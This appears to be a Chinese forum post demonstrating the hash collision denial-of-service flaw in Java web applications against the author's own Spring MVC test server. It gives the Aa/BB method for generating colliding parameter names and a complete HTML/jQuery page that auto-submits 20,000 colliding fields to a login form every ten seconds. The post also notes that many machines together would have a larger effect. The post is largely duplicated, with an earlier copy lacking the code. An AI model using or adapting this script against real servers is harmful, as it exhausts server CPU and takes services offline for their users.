[url=http://www.iteye.com/news/23939]关于Hash Collision DoS漏洞:解析与解决方案[/url]
无意发现了这篇文章,觉得很有意思。
但是上面说的都是理论,感觉似懂非懂。
于是实践一把:做一个实例说明Hash Collision DoS漏洞是可行的。
因为大家都是java开发的,所以针对java web项目来做实例
[size=large][b]构造一个有漏洞的服务程序[/b][/size]
附件中有下载。
服务程序主要就是一个web project
添加spring 的MVC功能
然后提供一个登录的入口。
[size=medium]
[b]假如我们的web服务访问的地址是:http://192.168.1.20:8080/HashCollisionDoS
登录的入口是:http://192.168.1.20:8080/HashCollisionDoS/user/login
那么我们拥有访问登录入口的权限,我们才可以构造一大堆Hash Collision数据提交给漏洞服务器。[/b][/size]
[size=large][b]如何构造N多的Hash Collision数据[/b][/size]
0(Aa) 1(BB)
-----------------
01 10
-----------------
0101 0110 1001 1010
-------------------------------------------
01010101 01010110 01011001 01011010 ...
.....................
..........................
得到N多0和1的组合,最后把0替换成Aa,把1替换成BB。
利用参数 var a =[0,1] 调用下面函数就可以得到我们想要的数据
[size=large][b]如何提交请求到服务器[/b][/size]
把下面的代码拷贝到本地,下载jquery-1.5.1.js并存放在同一目录
修改服务的IP地址。
最好使用火狐打开html,每隔10秒钟会自动提交一次数据。
代码如下
[size=large][b]测试结果[/b][/size]
从下图可以看出:每次请求2W hash Collision 数据,CPU的使用率达到60%-80%,持续十几秒
假如并发多台机器请求,可以想象什么情况。
[size=medium][b]所以得出结论:Hash Collision DoS漏洞确实可行,而且可行性相当高,因为java应用无处不存在表单请求的情况,只要得到了任何一个后台表单的访问权限就可以使用Hash Collision DoS漏洞。[/b][/size]
结果图
[img]http://dl.iteye.com/upload/attachment/0061/9073/34333ad7-e6ac-345f-8b15-2960883b54ca.png[/img]
附件说明:
hash_dos_html.rar html页面代码和jquery源码
HashCollisionDoS.rar web project 源代码
无意发现了这篇文章,觉得很有意思。
但是上面说的都是理论,感觉似懂非懂。
于是实践一把:做一个实例说明Hash Collision DoS漏洞是可行的。
因为大家都是java开发的,所以针对java web项目来做实例
[size=large][b]构造一个有漏洞的服务程序[/b][/size]
附件中有下载。
服务程序主要就是一个web project
添加spring 的MVC功能
然后提供一个登录的入口。
[size=medium]
[b]假如我们的web服务访问的地址是:http://192.168.1.20:8080/HashCollisionDoS
登录的入口是:http://192.168.1.20:8080/HashCollisionDoS/user/login
那么我们拥有访问登录入口的权限,我们才可以构造一大堆Hash Collision数据提交给漏洞服务器。[/b][/size]
[size=large][b]如何构造N多的Hash Collision数据[/b][/size]
0(Aa) 1(BB)
-----------------
01 10
-----------------
0101 0110 1001 1010
-------------------------------------------
01010101 01010110 01011001 01011010 ...
.....................
..........................
得到N多0和1的组合,最后把0替换成Aa,把1替换成BB。
利用参数 var a =[0,1] 调用下面函数就可以得到我们想要的数据
function combination(a)
{
var res=[];
for(var i = 0; i < a.length; i++ )
{
var item=a[i];
for(var j = 0; j < a.length; j++)
{
res.push(item+""+a[j]);
}
}
return res;
}
[size=large][b]如何提交请求到服务器[/b][/size]
把下面的代码拷贝到本地,下载jquery-1.5.1.js并存放在同一目录
修改服务的IP地址。
最好使用火狐打开html,每隔10秒钟会自动提交一次数据。
代码如下
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="UTF-8">
<html>
<head>
<title>login</title>
<script type="text/javascript" src="jquery-1.5.1.js"></script>
<script type="text/javascript">
function combination(a)
{
var res=[];
for(var i = 0; i < a.length; i++ )
{
var item=a[i];
for(var j = 0; j < a.length; j++)
{
res.push(item+""+a[j]);
}
}
return res;
}
function submitreq()
{
var a = [0, 1];
var ret;
var myform=document.forms[0];
var action=myform.action;
for(var i = 0; i < 4; i++ )
{
a=combination(a);
}
//一次提交20000个参数,如果你的机器性能还可以改大点
for(var j = 0; j < 20000; j++)
{
var temp=a[j];
temp=temp.replace(/0/g,'Aa').replace(/1/g,'BB');
//ret+=temp+"="+j+"&";
$("#UName").after("<input type=\"hidden\" name=\""+temp+"\" value=\"\">");
}
//myform.action=action+"?"+ret;
myform.submit();
}
//每10秒钟执行一次
window.setInterval("submitreq()", 10000);
</script>
</head>
<body>
<form action="http://192.168.1.20:8080/spring3/user/login" method="post">
name:
<input name="name" id="UName">
<br />
password:
<input type="password" name="password">
<br />
<input type="button" value="login" onclick="submitreq()" />
</form>
</body>
</html>
[size=large][b]测试结果[/b][/size]
从下图可以看出:每次请求2W hash Collision 数据,CPU的使用率达到60%-80%,持续十几秒
假如并发多台机器请求,可以想象什么情况。
[size=medium][b]所以得出结论:Hash Collision DoS漏洞确实可行,而且可行性相当高,因为java应用无处不存在表单请求的情况,只要得到了任何一个后台表单的访问权限就可以使用Hash Collision DoS漏洞。[/b][/size]
结果图
[img]http://dl.iteye.com/upload/attachment/0061/9073/34333ad7-e6ac-345f-8b15-2960883b54ca.png[/img]
附件说明:
hash_dos_html.rar html页面代码和jquery源码
HashCollisionDoS.rar web project 源代码